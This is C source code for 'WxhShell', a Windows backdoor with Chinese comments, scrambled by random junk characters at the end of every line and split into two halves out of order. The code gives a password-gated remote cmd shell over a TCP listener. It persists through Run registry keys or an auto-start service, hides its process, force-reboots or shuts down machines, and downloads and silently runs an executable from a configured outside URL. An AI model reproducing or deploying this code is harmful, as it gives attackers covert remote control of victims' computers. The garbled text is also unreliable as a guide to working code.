    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =zt@*o{F  
    else { )avli@W-3j  
    closesocket(wsh); InMF$pw  
    ExitThread(0); +hRAU@RA  
    } *obBo6!zM  
    break; gyJ$ Jp  
    } &mKtW$K` q  
  // 获取shell \L(~50{(  
  case 's': { pog*}@ OS  
    CmdShell(wsh); KE`}P<K&  
    closesocket(wsh); ]4yWcnf  
    ExitThread(0); B{lBUv(B  
    break; noC ]&4b  
  } sME3s-  
  // 退出 |#Bz&T  
  case 'x': { I8)x 0)Lx  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9^<t0oY  
    CloseIt(wsh); S v$%-x^t  
    break; *f=H#  
    } f3]Z22Yq  
  // 离开 r:2G11[  
  case 'q': { Zx7Y ,0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); kFW9@ !9  
    closesocket(wsh); \vXo~_-&  
    WSACleanup(); {A2(a7vV  
    exit(1); 8TZNvN4u  
    break; _<|NVweFS  
        } 0{j] p^'<  
  } u1xCn\  
  } 0~Z >}(  
&p%0cjg"Q  
  // 提示信息 HP^<2?K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L]3 V)`}  
} |?hNl2m  
  } F$7>q'#  
a_P8!pk+5  
  return; >}%  
} j{U?kW{o  
9`81br+~  
// shell模块句柄 R$IxR=hMx  
int CmdShell(SOCKET sock) :[|4Zn  
{ o<`Mvw@Z  
STARTUPINFO si; u+a" '*  
ZeroMemory(&si,sizeof(si)); N?TXPY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `h}fS4CO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z1 %"w*U  
PROCESS_INFORMATION ProcessInfo; _8Cw_  
char cmdline[]="cmd"; )-%3;e<w  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _o/LFLq  
  return 0; ]KdSwIbi  
} VAX@'iZr  
w{l}(:xPp  
// 自身启动模式 N"1o> !  
int StartFromService(void) >M=_:52.+  
{ $ (/=Wn  
typedef struct _GS_R%b  
{ +e}v) N  
  DWORD ExitStatus; hkB/ OJ  
  DWORD PebBaseAddress; $5N%!  
  DWORD AffinityMask; ],#Xa.r  
  DWORD BasePriority; Y S/x;  
  ULONG UniqueProcessId; jD1/`g%  
  ULONG InheritedFromUniqueProcessId; ;c p*]  
}   PROCESS_BASIC_INFORMATION; 'c7C*6;a  
f 1s3pr??  
PROCNTQSIP NtQueryInformationProcess; U{/d dCf7  
Z0HfrK#oU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DSjEoWj   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yuIy?K  
Cw6\'p%l-\  
  HANDLE             hProcess; 0M=A,`qk  
  PROCESS_BASIC_INFORMATION pbi; (iQ< [3C=  
>G7dw1;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qF'lh  
  if(NULL == hInst ) return 0; g>` k9`  
6 G.(o  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C.qN Bl*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'D_a2xo0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \#Md3!MG  
 2%4u/  
  if (!NtQueryInformationProcess) return 0; E2dl}S zp  
6S K;1Bp-{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b9nTg  
  if(!hProcess) return 0; OlRtVp1  
!r\u,l^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S$#"bK/p^  
)oqNQ'yZ  
  CloseHandle(hProcess); eXKpum~  
slUnB6@Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6z`l}<q  
if(hProcess==NULL) return 0; /LwS|c6}}  
KU$:p^0l;*  
HMODULE hMod; tb$I8T  
char procName[255]; |wbXu:  
unsigned long cbNeeded; Kk.a9uKI}  
Wo)$*?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Qa`+-W u8  
0'wchy>  
  CloseHandle(hProcess);  +_E^E  
^!&6z4DP  
if(strstr(procName,"services")) return 1; // 以服务启动 3CL1Z\8To  
XLHi  
  return 0; // 注册表启动 pLYLHS`*  
} df\^uyD;  
l4Au{%j\  
// 主模块 1t+uMhy*y  
int StartWxhshell(LPSTR lpCmdLine) L6d^e53AP  
{ -@7?N6~qZx  
  SOCKET wsl; mD5Vsy{Pb  
BOOL val=TRUE; ]{Y7mpdB  
  int port=0; <JUumrEo  
  struct sockaddr_in door; c,>y1%V*S{  
{L'uuG\9U  
  if(wscfg.ws_autoins) Install(); 3~q#P   
B*Z}=$1j  
port=atoi(lpCmdLine); osM[Xv  
Jb/VITqN4  
if(port<=0) port=wscfg.ws_port; 'p_|Rw>  
^%5 ;Sc1V  
  WSADATA data; _tlr8vL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,#Pp_f<  
gQQve{'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   CwjKz*'[g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @\U;?N~k  
  door.sin_family = AF_INET; Six2{b)p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mUan(iJ  
  door.sin_port = htons(port); y3XR:d1cg  
=W*Ro+wWb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /np05XhEa  
closesocket(wsl); G^ShN45   
return 1; :3N6Ej  
} VwN=AFk Oj  
\h>6k  
  if(listen(wsl,2) == INVALID_SOCKET) { 1y3)ogL  
closesocket(wsl); n\GN}?4  
return 1; ^*G UcQ$  
} B#]:1:Qn  
  Wxhshell(wsl); %E8HLTEvl  
  WSACleanup(); ~@#s<a,%;  
j'x@P+A  
return 0; -!lSk?l  
g es-nG-  
} lb{X6_.  
!c"EgP+  
// 以NT服务方式启动 rF$ S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Aflf]G1  
{ 7aS%;EU  
DWORD   status = 0; '2qbIYanh  
  DWORD   specificError = 0xfffffff; [_`<<!u>-  
AvVPPEryal  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v65]$%F?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; lFp:F5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; XL/V>`E@  
  serviceStatus.dwWin32ExitCode     = 0; o\<JG?P  
  serviceStatus.dwServiceSpecificExitCode = 0; o)wOXF  
  serviceStatus.dwCheckPoint       = 0; =}" P;4:  
  serviceStatus.dwWaitHint       = 0; rR4?*90vjj  
?7#{#sj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .unlr_eA  
  if (hServiceStatusHandle==0) return; vL#I+_ 2  
@.,Mn#  
status = GetLastError(); ba tXj]:  
  if (status!=NO_ERROR) >u\'k +=  
{ \WqC^Di  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x"7PnN|~  
    serviceStatus.dwCheckPoint       = 0; B?db`/G9  
    serviceStatus.dwWaitHint       = 0; aECpe'!m4  
    serviceStatus.dwWin32ExitCode     = status; $0cE iq?Hf  
    serviceStatus.dwServiceSpecificExitCode = specificError; e= XC$Jv  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |hS^eK_  
    return; _1jbNQa  
  } #nQboTB@  
8%`h:fE  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %J+ w9Z  
  serviceStatus.dwCheckPoint       = 0; F0wW3+G  
  serviceStatus.dwWaitHint       = 0; -k  }LW4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ec,Bu7'8  
} \=[38?QOY  
Xyu0n p;@  
// 处理NT服务事件,比如:启动、停止 y:  ]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |.b&\  
{ nf-6[dg  
switch(fdwControl) Y>{%,d#s_  
{ E#A}2|7,g  
case SERVICE_CONTROL_STOP: [s+FX5'K  
  serviceStatus.dwWin32ExitCode = 0; :j#zn~7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6FX]b4  
  serviceStatus.dwCheckPoint   = 0; (tF/2cZk  
  serviceStatus.dwWaitHint     = 0; RWB]uHzE  
  { - i{1h"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g7w#;E  
  } o4^#W;%w  
  return; BC85#sbl  
case SERVICE_CONTROL_PAUSE: I-Q(kWc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L<G6)'5W  
  break; /eBcPu"[Vb  
case SERVICE_CONTROL_CONTINUE: ? <w[ZWytm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'JO}6 ;W  
  break; |fb*<o eT  
case SERVICE_CONTROL_INTERROGATE: *&5./WEOH  
  break; uG+eF  
}; 1wE`kbC<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [B^V{nUBc  
} &Z}}9dd  
pf#R]  
// 标准应用程序主函数 Z1h6Y>j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =y^ g*9}_  
{ z<s ~`  
1lsg|iVz  
// 获取操作系统版本 " ;o, D  
OsIsNt=GetOsVer(); @7sHFwtar?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZSB;4 ?:h  
fc<,kRp  
  // 从命令行安装 #bb$Icmtk  
  if(strpbrk(lpCmdLine,"iI")) Install(); rW)}$|-Z  
PKev)M;C+  
  // 下载执行文件 k#2b3}(,  
if(wscfg.ws_downexe) { `uc`vkVZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) eH9-GGr  
  WinExec(wscfg.ws_filenam,SW_HIDE); rc}=`D`  
} rm<`H(cT  
Kww+lgzS  
if(!OsIsNt) { m[w~h\FS  
// 如果时win9x,隐藏进程并且设置为注册表启动 9S?b &]  
HideProc(); e63io0g>  
StartWxhshell(lpCmdLine); q#0yu"<  
} ?#:!!.I:  
else ^J@ Xsl  
  if(StartFromService()) ;?gR,AKZ  
  // 以服务方式启动 G[ q<P  
  StartServiceCtrlDispatcher(DispatchTable); '<wZe.Q!  
else kqCUr|M.P  
  // 普通方式启动 m.U&O=]5  
  StartWxhshell(lpCmdLine); V^\b"1X7N  
ZO\bCrk  
return 0; (DM8PtZg  
} d 8z9_C-  
L @8[.  
 P!/:yWd  
?osYs<k \  
=========================================== ab5i7@Ed  
.Zx7+`i  
!)OA7%3m  
i,/Q.XL  
8yGo\\=T  
aV n+@g<.  
" {z# W-  
s=XqI@  
#include <stdio.h> 0[s<!k9=  
#include <string.h> D|8h^*Ya  
#include <windows.h> cV* 0+5  
#include <winsock2.h> :5zO!~\  
#include <winsvc.h> K st2.Yy  
#include <urlmon.h> k= 9a/M u  
,oj)`?Vh  
#pragma comment (lib, "Ws2_32.lib") =1j`VJU9  
#pragma comment (lib, "urlmon.lib") jE$]Z(Ab  
M-5zsN  
#define MAX_USER   100 // 最大客户端连接数 3UGdXufw  
#define BUF_SOCK   200 // sock buffer HTP~5J  
#define KEY_BUFF   255 // 输入 buffer vFGVz  
,) }-mu  
#define REBOOT     0   // 重启 iu'rc/=V  
#define SHUTDOWN   1   // 关机 3]/Y= A  
`{\10j*B  
#define DEF_PORT   5000 // 监听端口 i'0ol^~y6  
H.TPKdVX  
#define REG_LEN     16   // 注册表键长度 ;4(FS  
#define SVC_LEN     80   // NT服务名长度 ACH!Gw~  
y/ah<Y0(  
// 从dll定义API RTYhgq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x;/%`gKn8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r)Iq47Uiw  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?E7.x%n7X5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  av!~B,  
wEIAU  
// wxhshell配置信息 !'%`g,,r  
struct WSCFG { 5,?Au  
  int ws_port;         // 监听端口 ]m""ga  
  char ws_passstr[REG_LEN]; // 口令 N:rnH:g+:  
  int ws_autoins;       // 安装标记, 1=yes 0=no 12yX`9h>  
  char ws_regname[REG_LEN]; // 注册表键名 2aGK}sS6  
  char ws_svcname[REG_LEN]; // 服务名 u}KEH@yv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O0> ^?dsL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _6'HBE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _qhYG1t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,9ZN k@q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w77"?kJ9X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i9y&<^<W  
Y&`nB,'  
}; qXQ7Jg9  
2o-Ie/"d\  
// default Wxhshell configuration )V*V  
struct WSCFG wscfg={DEF_PORT, U*Pi%J  
    "xuhuanlingzhe", r1X\$&  
    1, }Z\PE0  
    "Wxhshell", V s1Z$HS`  
    "Wxhshell", #k<j`0kiq  
            "WxhShell Service", ,(CIcDJ2U_  
    "Wrsky Windows CmdShell Service", 0~j0x#  
    "Please Input Your Password: ", V$<5`  
  1, m-!Uy$yM  
  "http://www.wrsky.com/wxhshell.exe", @C6.~OiP  
  "Wxhshell.exe" :w 4Sba3  
    }; NX:i]t  
2M+'9 +k~  
// 消息定义模块 k M' :.QT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E:ocx2dp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; = eDi8A*~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]Syr{|  
char *msg_ws_ext="\n\rExit."; qU,u(El  
char *msg_ws_end="\n\rQuit."; 3.s.&^  
char *msg_ws_boot="\n\rReboot..."; ] 'ybu&22  
char *msg_ws_poff="\n\rShutdown..."; [D%5Fh\0  
char *msg_ws_down="\n\rSave to "; uVw|fT  
S-k:+4  
char *msg_ws_err="\n\rErr!"; @s;qmBX4  
char *msg_ws_ok="\n\rOK!"; Q'S"$^~{  
k\a&4v  
char ExeFile[MAX_PATH]; JA~v:ec  
int nUser = 0; X,8 ]g.<  
HANDLE handles[MAX_USER]; J-g<-!>RM  
int OsIsNt; myeez+@ m  
Th)Z?\8zk  
SERVICE_STATUS       serviceStatus; d% :   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /^<Uy3F[p  
[q{[Avqf  
// 函数声明 S( r Fa  
int Install(void); u4a(AB>S  
int Uninstall(void); 8/dx)*JCq  
int DownloadFile(char *sURL, SOCKET wsh); u:f.g?!`"  
int Boot(int flag); 7U\GX  
void HideProc(void); 3KW4 ]qo~  
int GetOsVer(void); N8^ AH8l  
int Wxhshell(SOCKET wsl); &%Lps_+fJ  
void TalkWithClient(void *cs); Akbt%&  
int CmdShell(SOCKET sock); Ma,2_oq+  
int StartFromService(void); ]V K%6PQ0  
int StartWxhshell(LPSTR lpCmdLine); .`3O4]N[  
==\Qj{ 7`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ub/9T-#l  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?W(>Yefk  
:_FnQhzg  
// 数据结构和表定义 j!:^+F/  
SERVICE_TABLE_ENTRY DispatchTable[] = ;L458fYs  
{ T!*lTzNHm  
{wscfg.ws_svcname, NTServiceMain}, 6RLYpQ$+  
{NULL, NULL} S3iXG @  
}; ZCAdCKX|  
wjm_bEi  
// 自我安装 |99/?T-QW  
int Install(void) eZMDtB  
{ V6C*d:  
  char svExeFile[MAX_PATH]; =x/Ap1  
  HKEY key; O:Ixy?b;Z  
  strcpy(svExeFile,ExeFile); nM1F4G  
=-e` OHA  
// 如果是win9x系统,修改注册表设为自启动 Pu=,L#+FN  
if(!OsIsNt) { {m )$b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5HZt5="+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .MzVc42<  
  RegCloseKey(key); YnzhvE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1sqBBd"=PY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j[Y$)HF  
  RegCloseKey(key); kIlc$:K^  
  return 0; 1@)kNg)*$  
    } ' R!pc  
  } ,u1Yn}  
} /Jjub3>Q  
else { ;|.^_Xs  
J .r^"K\  
// 如果是NT以上系统,安装为系统服务 -r6cK,WVU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t0 1@h_ WS  
if (schSCManager!=0) NT6OGBl&  
{ 1gwnG&  
  SC_HANDLE schService = CreateService "+g9}g  
  ( IezOal  
  schSCManager, O#,Uz2  
  wscfg.ws_svcname, GxL;@%B  
  wscfg.ws_svcdisp, R;wq  
  SERVICE_ALL_ACCESS, *oC],4y~D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xV_,R'l  
  SERVICE_AUTO_START, f.%mp$~T  
  SERVICE_ERROR_NORMAL, .>Gnb2  
  svExeFile, M?i U$qI  
  NULL, BB?vc( d  
  NULL, O]\6Pv@N  
  NULL, h~]G6>D9)>  
  NULL, QgZwU$`p0  
  NULL \DG 6  
  ); 6QwVgEnSf  
  if (schService!=0) =q1=.VTn  
  { OR&'  
  CloseServiceHandle(schService); G,#]`W@qhK  
  CloseServiceHandle(schSCManager); <QlpIgr  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }9k/Y/.  
  strcat(svExeFile,wscfg.ws_svcname); 4&}V3"lg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H]6i1j  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); eF[CiO8F2  
  RegCloseKey(key); EqN<""2  
  return 0; FUVoKX! #  
    } 9w^lRbn  
  }  `UC  
  CloseServiceHandle(schSCManager); #Sxk[[KwH*  
} cmLGMlFT  
} .l| [e  
.^aakM  
return 1; e7m>p\"  
} 0pO{{F  
{`FkiB` i  
// 自我卸载 toq/G,N Q  
int Uninstall(void) @H{QHi  
{ NUlp4i~Q  
  HKEY key; D5o[z:V7"  
S>-x<'Os  
if(!OsIsNt) { Tz\ PQ)!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 64)Fz}  
  RegDeleteValue(key,wscfg.ws_regname); laR cEXj  
  RegCloseKey(key); #Tz$ona  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a.n;ika]-  
  RegDeleteValue(key,wscfg.ws_regname); FeW}tKH  
  RegCloseKey(key); @%(Vi!Cv"R  
  return 0; SdOa#U)  
  } lO (MF  
} @/MI Oxg[  
} /6=IL  
else { UZ5O%SF  
skd3E4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q[j'FtP%  
if (schSCManager!=0) e -!6m #0  
{ iKJ-$x_5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kLsp0% 2  
  if (schService!=0) 1V\tKDM  
  { )\S3Q  
  if(DeleteService(schService)!=0) { o!]muO*Rm  
  CloseServiceHandle(schService); QKW\z aG  
  CloseServiceHandle(schSCManager); mH1T|UI  
  return 0; N\,[(LbA&  
  } P3 Wnso  
  CloseServiceHandle(schService); PykVXZ7j;  
  } ;6 ?a8t@  
  CloseServiceHandle(schSCManager); \# p@ef  
} <r9L-4  
} I_1(jaY  
I7@|{L1|FB  
return 1; jR1o<]?  
} J0ys Z]  
lOp7rW]$  
// 从指定url下载文件 Oe)d|6=  
int DownloadFile(char *sURL, SOCKET wsh) &kR*J<)V  
{ 8t1XZ  
  HRESULT hr; S55h}5Y  
char seps[]= "/"; \;!}z3Ww  
char *token; J?wCqA  
char *file; h23"<  
char myURL[MAX_PATH]; TpAE9S  
char myFILE[MAX_PATH]; fH@P&SX  
ty"|yA  
strcpy(myURL,sURL); r}**^"mFy  
  token=strtok(myURL,seps); Qe[ejj1o:  
  while(token!=NULL) 0N|l1Sn  
  { -wh?9 ?W  
    file=token; h SeXxSb:  
  token=strtok(NULL,seps); ?*zDsQ  
  } l&/V4V-  
GM~Ek] 9C%  
GetCurrentDirectory(MAX_PATH,myFILE); z#[PTqD-_  
strcat(myFILE, "\\"); L@5j? N?F  
strcat(myFILE, file); t)4><22of  
  send(wsh,myFILE,strlen(myFILE),0); D-/q-=zd  
send(wsh,"...",3,0); vGCvJ*4!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kF;N}O2?{  
  if(hr==S_OK) g"Tb\  
return 0; o2 ;  
else 9-W3}4'e  
return 1; R_4eME2LB  
O .ESI  
} %eE0a4^".  
tD~ n PbbB  
// 系统电源模块 ( < e q[(  
int Boot(int flag) 6e;POW  
{ VMee"'08  
  HANDLE hToken; 2q NA\-0i>  
  TOKEN_PRIVILEGES tkp; [.(,v n?6  
|JL?"cc  
  if(OsIsNt) { ^ Fnag]qQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ka_g3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^Q\Hy\  
    tkp.PrivilegeCount = 1; 57K\sT4[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BXb=N E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K1+4W=|  
if(flag==REBOOT) { 6!`GUU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j* ZU}Ss  
  return 0; ;e"dxAUe!^  
} Tc.QzD\  
else { 0H +!v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :#VdFMC<  
  return 0; >T#" Im-  
} !X[P)/?b0+  
  } ,Y4>$:#n/  
  else { UhKd o  
if(flag==REBOOT) { T,oZaJ<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *mJ\Tzc)  
  return 0; 64L;np>  
} f<{f/lU@  
else { 2oF1do;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Dr)jB*yK  
  return 0; .OpG2P  
} iG ,z3/~v  
} I7#^'/  
3xz|d`A  
return 1; 7w<e^H?  
} lhC^Upqw  
@__m>8wn  
// win9x进程隐藏模块 !,^y!+,Qy  
void HideProc(void) VaW^;d#  
{ %a?\y_a=b  
n) j0h-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I 6'!b/  
  if ( hKernel != NULL ) p/qu4[Mm  
  { P6I<M}p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %L|xmx!c  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ne)3@?  
    FreeLibrary(hKernel); tVe =c  
  } 4wN5x[vp  
' <?=!&\D  
return; #N$\d4q9  
} ?t/G@  
s f.z(o  
// 获取操作系统版本 #~m 8zG  
int GetOsVer(void) |)C #  
{ H _JE)a:+  
  OSVERSIONINFO winfo; gBO,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ck b(+*+l  
  GetVersionEx(&winfo); &ty-aB=F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &Hyy .a  
  return 1; ?t<g|H/|6  
  else >,QCKZH  
  return 0; "L;@qCfhO  
} D59q/@  
)vUS).;S`  
// 客户端句柄模块 O')=]6CQ*  
int Wxhshell(SOCKET wsl) l^^Z}3^Rk  
{ ;.Ld6JRunw  
  SOCKET wsh; I4|"Ztw  
  struct sockaddr_in client; C23p1%#1  
  DWORD myID; 6<9}>Wkf  
$@vB<(sk  
  while(nUser<MAX_USER) 052Cf dq  
{ ~ MsHV%  
  int nSize=sizeof(client); | TG6-e_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); M~7Cb>%<  
  if(wsh==INVALID_SOCKET) return 1; Fe %Vp/  
 iDx(qdla  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +V(^ "Z~  
if(handles[nUser]==0) T`MM<+^G  
  closesocket(wsh); P*B @it  
else aOw#]pB|  
  nUser++; KxD/{0F  
  } a0+q^*\d\R  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %t$KVV  
,(-V<>/*.|  
  return 0; 1Jdx#K  
} Mtv{37k~  
n.qT7d(  
// 关闭 socket {]cr.y]\  
void CloseIt(SOCKET wsh) :4-,Ru1C"  
{ _3D9>8tzE7  
closesocket(wsh); VKZP\]$XG  
nUser--; m?4hEwQxf  
ExitThread(0); I]i( B+D  
} jl>TZ)4}V  
LGW:+c  
// 客户端请求句柄 fI`gF^u(  
void TalkWithClient(void *cs) l$pz:m]Id  
{ QuG"]$  
DQ3 L=  
  SOCKET wsh=(SOCKET)cs; Y#Q!mbp  
  char pwd[SVC_LEN]; [OTn>/W'  
  char cmd[KEY_BUFF]; =Gu&0f  
char chr[1]; ?>U=bA  
int i,j; z/+{QBen8  
EPH n"YK  
  while (nUser < MAX_USER) { +or<(%o @  
ZfX$q\7  
if(wscfg.ws_passstr) { q^<HG]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n42\ty9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >qOG^{&x  
  //ZeroMemory(pwd,KEY_BUFF); Z'j[N4%BK  
      i=0; qEXN} Pq<  
  while(i<SVC_LEN) { |hw.nY]J  
qbD 7\%  
  // 设置超时 PuREqa\_[  
  fd_set FdRead; FG[rH]   
  struct timeval TimeOut; lct  
  FD_ZERO(&FdRead); O1c:X7lHc  
  FD_SET(wsh,&FdRead); g hmn3  
  TimeOut.tv_sec=8; =f y|Dm74  
  TimeOut.tv_usec=0; yc~<h/}#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =k.%#h{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~G@YA8}  
2aCf?l(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jk&xzJH.  
  pwd=chr[0]; gN />y1{a  
  if(chr[0]==0xd || chr[0]==0xa) { wEM=Tr/h  
  pwd=0; u>.a;BO  
  break; 2/r8% Sq  
  } ,3 /o7'  
  i++; Sx QA*}N  
    } RG'76?z  
(m,H 5  
  // 如果是非法用户,关闭 socket X*@ tp,t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o ?vGI=  
} pXl[I;  
&l7E|.JE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5]LWWjT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3k9n*jY0  
Nz.X$zUmY  
while(1) { ur8+k4] \"  
5Y^"&h[/  
  ZeroMemory(cmd,KEY_BUFF); =xIZJ8e  
|xcI~ X7Q  
      // 自动支持客户端 telnet标准   El5} f4sl  
  j=0; K2yNI q_  
  while(j<KEY_BUFF) { D)ri_w!Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v.Q#<@B^:  
  cmd[j]=chr[0]; RYEZ'<  
  if(chr[0]==0xa || chr[0]==0xd) { B8T$<  
  cmd[j]=0; vuPNru" 2  
  break; C h>F11kC  
  } _ C?Wk:Y@  
  j++; 6 Ln~b<I  
    } LZe)_9$  
sd\p[MXX  
  // 下载文件 g) oOravV  
  if(strstr(cmd,"http://")) { R>"Fc/{y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Yw3'9m^  
  if(DownloadFile(cmd,wsh)) 4G(7V:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7:u+cv  
  else xz"60xxY  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (~^fx\-S  
  } GmWr  
  else { E@ U]k$M  
WZNq!K H  
    switch(cmd[0]) { vNGE]+QX  
  NAvR^"I~  
  // 帮助 . |T=T0^  
  case '?': { V+ ("kz*  
